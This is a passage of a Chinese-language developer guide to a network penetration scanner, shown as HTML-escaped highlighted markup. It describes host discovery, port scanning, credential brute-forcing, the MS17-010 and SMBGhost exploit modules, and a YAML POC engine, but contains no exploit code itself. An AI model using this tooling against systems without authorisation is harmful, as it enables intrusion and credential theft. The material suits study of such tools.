&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gu"&gt;### 测试
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;该代码库不包含单元测试。测试通过针对目标环境的手动执行完成。
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gu"&gt;## 架构总览
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gu"&gt;### 主要执行流程
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;1.&lt;/span&gt; &lt;span class="gs"&gt;**输入解析**&lt;/span&gt; (&lt;span class="sb"&gt;`common`&lt;/span&gt; 包)：解析命令行参数、IP 范围、端口范围和配置
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;2.&lt;/span&gt; &lt;span class="gs"&gt;**主机发现**&lt;/span&gt; (&lt;span class="sb"&gt;`Plugins/icmp.go`&lt;/span&gt;)：ICMP ping 扫描识别存活主机（可用 &lt;span class="sb"&gt;`-np`&lt;/span&gt; 跳过）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;3.&lt;/span&gt; &lt;span class="gs"&gt;**端口扫描**&lt;/span&gt; (&lt;span class="sb"&gt;`Plugins/portscan.go`&lt;/span&gt;)：对存活主机进行 TCP 端口扫描
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;4.&lt;/span&gt; &lt;span class="gs"&gt;**服务检测**&lt;/span&gt; (&lt;span class="sb"&gt;`Plugins/*`&lt;/span&gt;)：针对特定协议的扫描和密码爆破
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;5.&lt;/span&gt; &lt;span class="gs"&gt;**Web 扫描**&lt;/span&gt; (&lt;span class="sb"&gt;`WebScan`&lt;/span&gt; 包)：指纹识别和基于 POC 的漏洞检测
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;6.&lt;/span&gt; &lt;span class="gs"&gt;**输出结果**&lt;/span&gt; (&lt;span class="sb"&gt;`common/log.go`&lt;/span&gt;)：结果输出到控制台，可选保存到文件
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gu"&gt;### 包结构
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; **&lt;span class="sb"&gt;`main.go`&lt;/span&gt;**：程序入口，初始化 HostInfo，解析参数，调用 Plugins.Scan()
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; **&lt;span class="sb"&gt;`common/`&lt;/span&gt;**：共享配置和工具函数
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="sb"&gt;`flag.go`&lt;/span&gt;：命令行参数定义
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="sb"&gt;`config.go`&lt;/span&gt;：默认字典、端口列表和全局状态（版本号、用户字典、密码字典、端口列表）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="sb"&gt;`ParseIP.go`&lt;/span&gt;：IP 范围解析（支持 CIDR、范围格式如 192.168.1.1-255、逗号分隔）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="sb"&gt;`ParsePort.go`&lt;/span&gt;：端口范围解析
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="sb"&gt;`log.go`&lt;/span&gt;：带颜色输出的日志记录
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="sb"&gt;`proxy.go`&lt;/span&gt;：HTTP/SOCKS5 代理配置
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; **&lt;span class="sb"&gt;`Plugins/`&lt;/span&gt;**：服务特定的扫描模块
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="sb"&gt;`scanner.go`&lt;/span&gt;：主调度器，将主机/端口路由到相应的插件
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="sb"&gt;`portscan.go`&lt;/span&gt;：TCP 端口扫描器
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="sb"&gt;`icmp.go`&lt;/span&gt;：ICMP ping 扫描用于主机发现
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="sb"&gt;`base.go`&lt;/span&gt;：PluginList 映射表，注册端口号到扫描函数（如 &amp;#34;22&amp;#34; -&amp;gt; SshScan）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;-&lt;/span&gt; 服务扫描器：&lt;span class="sb"&gt;`ssh.go`&lt;/span&gt;、&lt;span class="sb"&gt;`smb.go`&lt;/span&gt;、&lt;span class="sb"&gt;`mysql.go`&lt;/span&gt;、&lt;span class="sb"&gt;`redis.go`&lt;/span&gt;、&lt;span class="sb"&gt;`ftp.go`&lt;/span&gt;、&lt;span class="sb"&gt;`mssql.go`&lt;/span&gt;、&lt;span class="sb"&gt;`postgres.go`&lt;/span&gt;、&lt;span class="sb"&gt;`oracle.go`&lt;/span&gt;、&lt;span class="sb"&gt;`rdp.go`&lt;/span&gt;、&lt;span class="sb"&gt;`mongodb.go`&lt;/span&gt;、&lt;span class="sb"&gt;`memcached.go`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;-&lt;/span&gt; 漏洞利用模块：&lt;span class="sb"&gt;`ms17010.go`&lt;/span&gt;、&lt;span class="sb"&gt;`ms17010-exp.go`&lt;/span&gt;、&lt;span class="sb"&gt;`CVE-2020-0796.go`&lt;/span&gt;（SMB Ghost）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="sb"&gt;`NetBIOS.go`&lt;/span&gt;：NetBIOS 枚举和域控识别
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="sb"&gt;`webtitle.go`&lt;/span&gt;：HTTP 标题抓取和基础 Web 指纹识别
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="sb"&gt;`fcgiscan.go`&lt;/span&gt;：FastCGI 协议扫描
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; **&lt;span class="sb"&gt;`WebScan/`&lt;/span&gt;**：Web 漏洞扫描
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="sb"&gt;`WebScan.go`&lt;/span&gt;：主入口，从嵌入式文件系统或自定义路径加载 POC
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="sb"&gt;`InfoScan.go`&lt;/span&gt;：指纹检测
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="sb"&gt;`lib/`&lt;/span&gt;：POC 引擎实现
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="sb"&gt;`check.go`&lt;/span&gt;：指纹匹配和 POC 过滤
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="sb"&gt;`eval.go`&lt;/span&gt;：CEL（通用表达式语言）表达式求值，用于 POC 规则
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="sb"&gt;`client.go`&lt;/span&gt;：支持代理的 HTTP 客户端
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="sb"&gt;`http.pb.go`&lt;/span&gt;：HTTP 请求/响应的 Protobuf 定义
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="sb"&gt;`pocs/`&lt;/span&gt;：包含 380+ 个 YAML POC 文件的目录（使用 &lt;span class="sb"&gt;`//go:embed`&lt;/span&gt; 在编译时嵌入）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gu"&gt;### 插件注册系统
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;插件在 &lt;span class="sb"&gt;`Plugins/base.go`&lt;/span&gt; 中通过 &lt;span class="sb"&gt;`PluginList`&lt;/span&gt; 映射表注册：
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```go
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;PluginList&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;map&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="kd"&gt;interface&lt;/span&gt;&lt;span class="p"&gt;{}{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;#34;22&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;SshScan&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;#34;3306&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;MysqlScan&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;#34;1000001&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;MS17010&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// 漏洞利用的特殊端口号&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;#34;1000003&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;WebTitle&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Web 扫描&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// ...&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;扫描器使用反射根据检测到的端口动态调用相应的函数。
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gu"&gt;### 并发模型
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; 主协程池由 &lt;span class="sb"&gt;`-t`&lt;/span&gt; 参数控制（默认：600 个线程）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="sb"&gt;`scanner.go`&lt;/span&gt; 中的 AddScan 函数使用基于 channel 的信号量限制并发扫描
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; 每个服务扫描在自己的 goroutine 中运行
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; WaitGroups 确保所有扫描在程序退出前完成
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; Mutex 保护共享计数器（common.Num、common.End）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gu"&gt;### 重要扫描模式（`-m` 参数）
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="sb"&gt;`all`&lt;/span&gt;（默认）：运行所有模块（ICMP → 端口扫描 → 服务扫描 → Web 扫描）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="sb"&gt;`portscan`&lt;/span&gt;：仅执行端口扫描
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="sb"&gt;`icmp`&lt;/span&gt;：仅执行主机发现
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="sb"&gt;`webonly`&lt;/span&gt;：跳过端口扫描，直接探测常见 Web 端口的 HTTP/HTTPS
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="sb"&gt;`ssh`&lt;/span&gt;、&lt;span class="sb"&gt;`mysql`&lt;/span&gt;、&lt;span class="sb"&gt;`redis`&lt;/span&gt; 等：针对特定服务
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="sb"&gt;`ms17010`&lt;/span&gt;：扫描 MS17-010 漏洞
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gu"&gt;### 端口组
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="sb"&gt;`common/config.go`&lt;/span&gt; 中的 &lt;span class="sb"&gt;`PortGroup`&lt;/span&gt; 映射定义了预设端口集：
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="sb"&gt;`main`&lt;/span&gt;：常用端口（21,22,80,81,135,139,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="sb"&gt;`db`&lt;/span&gt;：数据库端口
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="sb"&gt;`web`&lt;/span&gt;：Web 端口的扩展列表（80、8080、8443 等）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; &lt;span class="sb"&gt;`service`&lt;/span&gt;：常见服务端口
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gu"&gt;### Web POC 系统
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; POC 是兼容 xray 格式的 YAML 文件
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; 从嵌入式文件系统（&lt;span class="sb"&gt;`WebScan/pocs/`&lt;/span&gt;）或自定义路径（&lt;span class="sb"&gt;`-pocpath`&lt;/span&gt;）加载
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; 使用 CEL 表达式进行匹配和提取
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; 支持基于指纹的 POC 选择（仅根据检测到的 CMS/框架运行相关 POC）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; 通过 &lt;span class="sb"&gt;`-num`&lt;/span&gt; 参数限速（默认：20 个并发 POC 检查）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gu"&gt;### WebScan 模块架构
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;WebScan 负责 Web 漏洞扫描，采用 CEL 表达式引擎和模块化设计。
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gu"&gt;#### 核心组件
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; **WebScan.go**：主入口，从 &lt;span class="sb"&gt;`//go:embed pocs`&lt;/span&gt; 或 &lt;span class="sb"&gt;`-pocpath`&lt;/span&gt; 加载 POC，根据指纹过滤并并发执行
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; **InfoScan.go**：指纹识别，包含 260+ 条规则（WAF、OA、中间件、CMS），支持 body/headers/cookie 正则匹配
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; **lib/check.go**：POC 执行引擎
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;-&lt;/span&gt; 普通模式：按顺序执行 rules
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;-&lt;/span&gt; 爆破模式：使用 &lt;span class="sb"&gt;`sets`&lt;/span&gt; 字典生成笛卡尔积（如 Tomcat 弱口令、Shiro key）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;-&lt;/span&gt; 支持变量替换 &lt;span class="sb"&gt;`{{variable}}`&lt;/span&gt;、命名捕获组 &lt;span class="sb"&gt;`(?P&amp;lt;name&amp;gt;...)`&lt;/span&gt;、MD5 去重
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; **lib/eval.go**：CEL 表达式引擎，30+ 自定义函数
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;-&lt;/span&gt; 字符串：&lt;span class="sb"&gt;`bcontains`&lt;/span&gt;、&lt;span class="sb"&gt;`icontains`&lt;/span&gt;、&lt;span class="sb"&gt;`substr`&lt;/span&gt;、&lt;span class="sb"&gt;`startsWith`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;-&lt;/span&gt; 编码：&lt;span class="sb"&gt;`base64`&lt;/span&gt;、&lt;span class="sb"&gt;`urlencode`&lt;/span&gt;、&lt;span class="sb"&gt;`hexdecode`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;-&lt;/span&gt; 特殊：&lt;span class="sb"&gt;`shirokey`&lt;/span&gt;、&lt;span class="sb"&gt;`TDdate`&lt;/span&gt;（通达 OA）、&lt;span class="sb"&gt;`wait`&lt;/span&gt;（DNSLog）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; **lib/client.go**：HTTP 客户端，TLS 1.0+，支持 HTTP/SOCKS5 代理，连接池配置
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;-&lt;/span&gt; **info/rules.go**：指纹规则库和 POC 映射表（指纹 -&amp;gt; POC 别名）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gu"&gt;#### 工作流程
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;1.&lt;/span&gt; 指纹识别：正则匹配 headers 和 body
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;2.&lt;/span&gt; POC 过滤：根据指纹查询 &lt;span class="sb"&gt;`PocDatas`&lt;/span&gt;，过滤相关 POC
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;3.&lt;/span&gt; 并发执行：worker 池（&lt;span class="sb"&gt;`-num`&lt;/span&gt; 控制）执行 POC，评估 CEL 表达式
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;4.&lt;/span&gt; 结果输出：&lt;span class="sb"&gt;`[+] PocScan &amp;lt;URL&amp;gt; &amp;lt;POC名称&amp;gt;`&lt;/span&gt; 及 &lt;span class="sb"&gt;`search`&lt;/span&gt; 提取的命名变量（每行 &lt;span class="sb"&gt;` * key: value`&lt;/span&gt;）
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="gu"&gt;#### POC YAML 格式
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;```yaml
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;poc-yaml-example&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;set&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="nt"&gt;key&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;var&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;value&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;value&amp;#34;&lt;/span&gt;&lt;span class="w"&gt;
